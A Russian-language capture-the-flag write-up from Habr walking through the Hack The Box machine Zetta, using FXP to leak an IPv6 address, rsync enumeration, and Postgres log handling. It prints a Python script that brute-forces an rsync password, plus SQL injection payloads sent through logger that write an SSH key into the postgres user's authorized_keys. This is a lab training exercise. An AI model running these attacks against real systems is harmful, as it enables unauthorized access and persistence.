python

Hack The Box — прохождение Zetta. FXP, IPv6, rsync, Postgres и SQLi

  • понедельник, 24 февраля 2020 г. в 00:22:49
https://habr.com/ru/post/489588/
  • Информационная безопасность
  • Python
  • CTF


image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье узнаем IPv6 адрес сервера с помощью FXP, поработаем с rsync, а также запишем ssh-ключ используя SQL-инъекцию при обработке журналов логов в Postgres.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.156, который я добавляю в /etc/hosts.

10.10.10.156    zetta.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

image

Далее нужно собрать больше информации об известных портах. Для того используем nmap с параметром -А.
nmap -A zetta.htb -p21,22,80

image

Глянем, что есть на ftp.

image

В итоге в баннере сказано, что мы можем подключиться по IPv6. Посмотрим, что на веб-сервере.

image

Наблюдаем Native FTP с поддержкой FXP. FXP — способ передачи файлов между двумя FTP-серверами напрямую, не закачивая их на свой компьютер. При FXP-сессии клиент открывает два FTP-соединения к двум разным серверам, запрашивая файл на первом сервере, указывая в команде PORT IP-адрес второго сервера.

image

Немного пролистав, находим логин и пароль для FTP. И после ввода учетных данных, нам говорят, что присутствует поддержка FXP.

image

Но либо файлов на сервере нет, либо нам их не дают. Но так как данный сервер поддерживает FXP, то мы можем притвориться другим сервером, целевой сервер инициировал соединение. Таким образом мы раскроем его IPv6 адрес в соответствии с RFC 2428.

image

image

Это нужно для дальнейшего сканирования, так как на хосте могут быть службы, принимающие соединение только по IPv6. Таким образом нам нужно знать свой адрес.

image

С помощью tcpdump отследим трафик, который пойдет на 4321 порт.

image

И с помощью netcat подключаемся к ftp и указываем учетные данные.
nc zetta.htb 21

image

И теперь отправляем EPRT запрос.

image

И наблюдаем IPv6 адрес целевого хоста.

image

Теперь запишем его в /etc/hosts вместо IPv4 и сканируем все порты с помощью nmap, добавляя параметр -6.
nmap -6 zetta.htb -p-

image

Теперь получим больше информации используя параметр -А.
nmap -A -6 zetta.htb -p21,22,80,8730

image

Entry Point


Rsync (remote synchronization) — программа для UNIX-подобных систем, которая выполняет синхронизацию файлов и каталогов в двух местах с минимизированием трафика. Rsync может копировать или отображать содержимое каталога и копировать файлы, опционально используя сжатие и рекурсию. rsync передаёт только изменения файлов, что отражается на производительности программы. Давайте посмотрим список модулей.
rsync -6 --list-only rsync://zetta.htb:8730/

image

В данном списке отсутствуют некоторые важные директории. Но директория etc оказалась доступна.
rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

image

Прочитаем rsyncd.conf, для этого файл на локальную машину.
rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

image

В конфиге есть скрытый модуль — home_roy, который указывает на домашнюю директорию пользователя roy, и она защищена паролем из rsyncd.secrets, а он нам недоступен.
rsync -6 rsync://zetta.htb:8730/home_roy/

image

USER


Когда больше не было идей, пришлось перебирать пароль. Для этого был написан код на Python и использован список паролей из Seclists.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

image

Теперь, когда мы знаем пароль, давайте сгенерируем ключ ssh и закинем его на сервер.

image

image

image

И подключаясь по SSH с данным ключом, забираем токен пользователя.

image

ROOT


Рядом с токеном лежит подсказка — список задач.

image

Откроем их.
todo .tudu.xml

image

Посмотрим все запланированные задачи. На сервере используется git.

image

При этом журналы событий сохраняются в базу данных.

image

А еще в планах изменение пароля, который в данный момент имеет вид определенный вид.

image

Первым делом идем в git, так как там мы можем смотреть историю изменения конфигураций. Найдем все .git директории на сервере.

image

Нам более всего интересен журнал rsyslog, потому я копирую весь его репозиторий на локальную машину.

image

Теперь переходим в директорию с загруженным репозиторием и используем gitk (графический интерфейс — мелочь, а удобно).

image

Видим учетные данные, но если их использовать, но терпим неудачу. Так же в репозитории виден шаблон, согласно которому журналы помещаются в базу данных. Сохранение логов происходит в журнал /var/log/postgresql/postgresql-11-main.log, который доступен группе adm, в которой мы состоим.

image

Так как мы имеем дело с БД, то можно попробовать инъекцию. Создавайть события для записи будем с помощью logger, параллельно отслеживая в реальном времени, что попадает в журнал (для удобства можно использовать qterminal с разделенным окном) с помощью watch.
watch -n 1 cat postgresql-11-main.log

И посылаем событие.
logger -p local7.info "'"

image

И возникает ошибка, что говорит о возможной инъекции. Просмотрев /etc/passwd, узнаем, что у пользователя-службы postgres есть оболочка /bin/bash.

image

Таким образом, мы можем зайти по ssh. Это даст нам доступ к файлу postgres, включая историю команд. Давайте проверим, можем ли мы с помощью инъекции записать файл.
logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

image

Отлично. Сгенерируем ключ ssh и запишем публичный на сервер в домашнюю директорию пользователя-службы postgres: /var/lib/postgresql/.ssh/authorized_keys.

image

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"


Теперь зайдем по ssh.
ssh -i psg_id_rsa postgres@zetta.htb

image

Смотрим историю postgres.

image

И находим пароль. Вспоминаем про правило паролей из списка дел, заменяем пользователя на root и логинимся.

image

Мы с полными правами!

Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.